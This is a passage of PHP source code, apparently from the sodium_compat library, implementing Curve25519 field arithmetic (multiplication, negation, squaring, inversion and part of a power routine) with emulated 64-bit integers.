        $f9g9_38 = $g9_19->mulInt64($f9_2, 30);

        // $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h0 = $f0g0->addInt64($f1g9_38)->addInt64($f2g8_19)->addInt64($f3g7_38)
            ->addInt64($f4g6_19)->addInt64($f5g5_38)->addInt64($f6g4_19)
            ->addInt64($f7g3_38)->addInt64($f8g2_19)->addInt64($f9g1_38);

        // $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h1 = $f0g1->addInt64($f1g0)->addInt64($f2g9_19)->addInt64($f3g8_19)
            ->addInt64($f4g7_19)->addInt64($f5g6_19)->addInt64($f6g5_19)
            ->addInt64($f7g4_19)->addInt64($f8g3_19)->addInt64($f9g2_19);

        // $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h2 = $f0g2->addInt64($f1g1_2)->addInt64($f2g0)->addInt64($f3g9_38)
            ->addInt64($f4g8_19)->addInt64($f5g7_38)->addInt64($f6g6_19)
            ->addInt64($f7g5_38)->addInt64($f8g4_19)->addInt64($f9g3_38);

        // $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h3 = $f0g3->addInt64($f1g2)->addInt64($f2g1)->addInt64($f3g0)
            ->addInt64($f4g9_19)->addInt64($f5g8_19)->addInt64($f6g7_19)
            ->addInt64($f7g6_19)->addInt64($f8g5_19)->addInt64($f9g4_19);

        // $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
        $h4 = $f0g4->addInt64($f1g3_2)->addInt64($f2g2)->addInt64($f3g1_2)
            ->addInt64($f4g0)->addInt64($f5g9_38)->addInt64($f6g8_19)
            ->addInt64($f7g7_38)->addInt64($f8g6_19)->addInt64($f9g5_38);

        // $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0    + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h5 = $f0g5->addInt64($f1g4)->addInt64($f2g3)->addInt64($f3g2)
            ->addInt64($f4g1)->addInt64($f5g0)->addInt64($f6g9_19)
            ->addInt64($f7g8_19)->addInt64($f8g7_19)->addInt64($f9g6_19);

        // $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    + $f5g1_2  + $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h6 = $f0g6->addInt64($f1g5_2)->addInt64($f2g4)->addInt64($f3g3_2)
            ->addInt64($f4g2)->addInt64($f5g1_2)->addInt64($f6g0)
            ->addInt64($f7g9_38)->addInt64($f8g8_19)->addInt64($f9g7_38);

        // $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2    + $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h7 = $f0g7->addInt64($f1g6)->addInt64($f2g5)->addInt64($f3g4)
            ->addInt64($f4g3)->addInt64($f5g2)->addInt64($f6g1)
            ->addInt64($f7g0)->addInt64($f8g9_19)->addInt64($f9g8_19);

        // $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    + $f5g3_2  + $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h8 = $f0g8->addInt64($f1g7_2)->addInt64($f2g6)->addInt64($f3g5_2)
            ->addInt64($f4g4)->addInt64($f5g3_2)->addInt64($f6g2)
            ->addInt64($f7g1_2)->addInt64($f8g0)->addInt64($f9g9_38);

        // $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4    + $f6g3    + $f7g2    + $f8g1    + $f9g0   ;
        $h9 = $f0g9->addInt64($f1g8)->addInt64($f2g7)->addInt64($f3g6)
            ->addInt64($f4g5)->addInt64($f5g4)->addInt64($f6g3)
            ->addInt64($f7g2)->addInt64($f8g1)->addInt64($f9g0);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         * @var ParagonIE_Sodium_Core32_Int64 $carry0
         * @var ParagonIE_Sodium_Core32_Int64 $carry1
         * @var ParagonIE_Sodium_Core32_Int64 $carry2
         * @var ParagonIE_Sodium_Core32_Int64 $carry3
         * @var ParagonIE_Sodium_Core32_Int64 $carry4
         * @var ParagonIE_Sodium_Core32_Int64 $carry5
         * @var ParagonIE_Sodium_Core32_Int64 $carry6
         * @var ParagonIE_Sodium_Core32_Int64 $carry7
         * @var ParagonIE_Sodium_Core32_Int64 $carry8
         * @var ParagonIE_Sodium_Core32_Int64 $carry9
         */
        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));
        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));
        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));
        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));
        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));
        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_neg(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $h = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $h[$i]->subInt32($f[$i]);
        }
        return $h;
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_sq(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();

        $f0_2 = $f0->shiftLeft(1);
        $f1_2 = $f1->shiftLeft(1);
        $f2_2 = $f2->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f4_2 = $f4->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f6_2 = $f6->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f5_38 = $f5->mulInt(38, 6);
        $f6_19 = $f6->mulInt(19, 5);
        $f7_38 = $f7->mulInt(38, 6);
        $f8_19 = $f8->mulInt(19, 5);
        $f9_38 = $f9->mulInt(38, 6);

        $f0f0    = $f0->mulInt64($f0, 28);
        $f0f1_2  = $f0_2->mulInt64($f1, 28);
        $f0f2_2 =  $f0_2->mulInt64($f2, 28);
        $f0f3_2 =  $f0_2->mulInt64($f3, 28);
        $f0f4_2 =  $f0_2->mulInt64($f4, 28);
        $f0f5_2 =  $f0_2->mulInt64($f5, 28);
        $f0f6_2 =  $f0_2->mulInt64($f6, 28);
        $f0f7_2 =  $f0_2->mulInt64($f7, 28);
        $f0f8_2 =  $f0_2->mulInt64($f8, 28);
        $f0f9_2 =  $f0_2->mulInt64($f9, 28);

        $f1f1_2 = $f1_2->mulInt64($f1, 28);
        $f1f2_2 = $f1_2->mulInt64($f2, 28);
        $f1f3_4 = $f1_2->mulInt64($f3_2, 28);
        $f1f4_2 = $f1_2->mulInt64($f4, 28);
        $f1f5_4 = $f1_2->mulInt64($f5_2, 30);
        $f1f6_2 = $f1_2->mulInt64($f6, 28);
        $f1f7_4 = $f1_2->mulInt64($f7_2, 28);
        $f1f8_2 = $f1_2->mulInt64($f8, 28);
        $f1f9_76 = $f9_38->mulInt64($f1_2, 30);

        $f2f2 = $f2->mulInt64($f2, 28);
        $f2f3_2 = $f2_2->mulInt64($f3, 28);
        $f2f4_2 = $f2_2->mulInt64($f4, 28);
        $f2f5_2 = $f2_2->mulInt64($f5, 28);
        $f2f6_2 = $f2_2->mulInt64($f6, 28);
        $f2f7_2 = $f2_2->mulInt64($f7, 28);
        $f2f8_38 = $f8_19->mulInt64($f2_2, 30);
        $f2f9_38 = $f9_38->mulInt64($f2, 30);

        $f3f3_2 = $f3_2->mulInt64($f3, 28);
        $f3f4_2 = $f3_2->mulInt64($f4, 28);
        $f3f5_4 = $f3_2->mulInt64($f5_2, 30);
        $f3f6_2 = $f3_2->mulInt64($f6, 28);
        $f3f7_76 = $f7_38->mulInt64($f3_2, 30);
        $f3f8_38 = $f8_19->mulInt64($f3_2, 30);
        $f3f9_76 = $f9_38->mulInt64($f3_2, 30);

        $f4f4 = $f4->mulInt64($f4, 28);
        $f4f5_2 = $f4_2->mulInt64($f5, 28);
        $f4f6_38 = $f6_19->mulInt64($f4_2, 30);
        $f4f7_38 = $f7_38->mulInt64($f4, 30);
        $f4f8_38 = $f8_19->mulInt64($f4_2, 30);
        $f4f9_38 = $f9_38->mulInt64($f4, 30);

        $f5f5_38 = $f5_38->mulInt64($f5, 30);
        $f5f6_38 = $f6_19->mulInt64($f5_2, 30);
        $f5f7_76 = $f7_38->mulInt64($f5_2, 30);
        $f5f8_38 = $f8_19->mulInt64($f5_2, 30);
        $f5f9_76 = $f9_38->mulInt64($f5_2, 30);

        $f6f6_19 = $f6_19->mulInt64($f6, 30);
        $f6f7_38 = $f7_38->mulInt64($f6, 30);
        $f6f8_38 = $f8_19->mulInt64($f6_2, 30);
        $f6f9_38 = $f9_38->mulInt64($f6, 30);

        $f7f7_38 = $f7_38->mulInt64($f7, 28);
        $f7f8_38 = $f8_19->mulInt64($f7_2, 30);
        $f7f9_76 = $f9_38->mulInt64($f7_2, 30);

        $f8f8_19 = $f8_19->mulInt64($f8, 30);
        $f8f9_38 = $f9_38->mulInt64($f8, 30);

        $f9f9_38 = $f9_38->mulInt64($f9, 28);

        $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38);
        $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38);
        $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19);
        $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38);
        $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38);
        $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38);
        $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19);
        $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38);
        $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38);
        $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         */

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));

        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));

        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));

        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_sq2(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();

        $f0_2 = $f0->shiftLeft(1);
        $f1_2 = $f1->shiftLeft(1);
        $f2_2 = $f2->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f4_2 = $f4->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f6_2 = $f6->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f5_38 = $f5->mulInt(38, 6); /* 1.959375*2^30 */
        $f6_19 = $f6->mulInt(19, 5); /* 1.959375*2^30 */
        $f7_38 = $f7->mulInt(38, 6); /* 1.959375*2^30 */
        $f8_19 = $f8->mulInt(19, 5); /* 1.959375*2^30 */
        $f9_38 = $f9->mulInt(38, 6); /* 1.959375*2^30 */
        $f0f0 = $f0->mulInt64($f0, 28);
        $f0f1_2 = $f0_2->mulInt64($f1, 28);
        $f0f2_2 = $f0_2->mulInt64($f2, 28);
        $f0f3_2 = $f0_2->mulInt64($f3, 28);
        $f0f4_2 = $f0_2->mulInt64($f4, 28);
        $f0f5_2 = $f0_2->mulInt64($f5, 28);
        $f0f6_2 = $f0_2->mulInt64($f6, 28);
        $f0f7_2 = $f0_2->mulInt64($f7, 28);
        $f0f8_2 = $f0_2->mulInt64($f8, 28);
        $f0f9_2 = $f0_2->mulInt64($f9, 28);
        $f1f1_2 = $f1_2->mulInt64($f1, 28);
        $f1f2_2 = $f1_2->mulInt64($f2, 28);
        $f1f3_4 = $f1_2->mulInt64($f3_2, 29);
        $f1f4_2 = $f1_2->mulInt64($f4, 28);
        $f1f5_4 = $f1_2->mulInt64($f5_2, 29);
        $f1f6_2 = $f1_2->mulInt64($f6, 28);
        $f1f7_4 = $f1_2->mulInt64($f7_2, 29);
        $f1f8_2 = $f1_2->mulInt64($f8, 28);
        $f1f9_76 = $f9_38->mulInt64($f1_2, 29);
        $f2f2 = $f2->mulInt64($f2, 28);
        $f2f3_2 = $f2_2->mulInt64($f3, 28);
        $f2f4_2 = $f2_2->mulInt64($f4, 28);
        $f2f5_2 = $f2_2->mulInt64($f5, 28);
        $f2f6_2 = $f2_2->mulInt64($f6, 28);
        $f2f7_2 = $f2_2->mulInt64($f7, 28);
        $f2f8_38 = $f8_19->mulInt64($f2_2, 29);
        $f2f9_38 = $f9_38->mulInt64($f2, 29);
        $f3f3_2 = $f3_2->mulInt64($f3, 28);
        $f3f4_2 = $f3_2->mulInt64($f4, 28);
        $f3f5_4 = $f3_2->mulInt64($f5_2, 28);
        $f3f6_2 = $f3_2->mulInt64($f6, 28);
        $f3f7_76 = $f7_38->mulInt64($f3_2, 29);
        $f3f8_38 = $f8_19->mulInt64($f3_2, 29);
        $f3f9_76 = $f9_38->mulInt64($f3_2, 29);
        $f4f4 = $f4->mulInt64($f4, 28);
        $f4f5_2 = $f4_2->mulInt64($f5, 28);
        $f4f6_38 = $f6_19->mulInt64($f4_2, 29);
        $f4f7_38 = $f7_38->mulInt64($f4, 29);
        $f4f8_38 = $f8_19->mulInt64($f4_2, 29);
        $f4f9_38 = $f9_38->mulInt64($f4, 29);
        $f5f5_38 = $f5_38->mulInt64($f5, 29);
        $f5f6_38 = $f6_19->mulInt64($f5_2, 29);
        $f5f7_76 = $f7_38->mulInt64($f5_2, 29);
        $f5f8_38 = $f8_19->mulInt64($f5_2, 29);
        $f5f9_76 = $f9_38->mulInt64($f5_2, 29);
        $f6f6_19 = $f6_19->mulInt64($f6, 29);
        $f6f7_38 = $f7_38->mulInt64($f6, 29);
        $f6f8_38 = $f8_19->mulInt64($f6_2, 29);
        $f6f9_38 = $f9_38->mulInt64($f6, 29);
        $f7f7_38 = $f7_38->mulInt64($f7, 29);
        $f7f8_38 = $f8_19->mulInt64($f7_2, 29);
        $f7f9_76 = $f9_38->mulInt64($f7_2, 29);
        $f8f8_19 = $f8_19->mulInt64($f8, 29);
        $f8f9_38 = $f9_38->mulInt64($f8, 29);
        $f9f9_38 = $f9_38->mulInt64($f9, 29);

        $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38);
        $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38);
        $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19);
        $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38);
        $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38);
        $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38);
        $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19);
        $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38);
        $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38);
        $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         */
        $h0 = $h0->shiftLeft(1);
        $h1 = $h1->shiftLeft(1);
        $h2 = $h2->shiftLeft(1);
        $h3 = $h3->shiftLeft(1);
        $h4 = $h4->shiftLeft(1);
        $h5 = $h5->shiftLeft(1);
        $h6 = $h6->shiftLeft(1);
        $h7 = $h7->shiftLeft(1);
        $h8 = $h8->shiftLeft(1);
        $h9 = $h9->shiftLeft(1);

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));
        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));
        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));
        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));
        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));
        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_invert(ParagonIE_Sodium_Core32_Curve25519_Fe $Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_pow22523(ParagonIE_Sodium_Core32_Curve25519_Fe $z)
    {
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
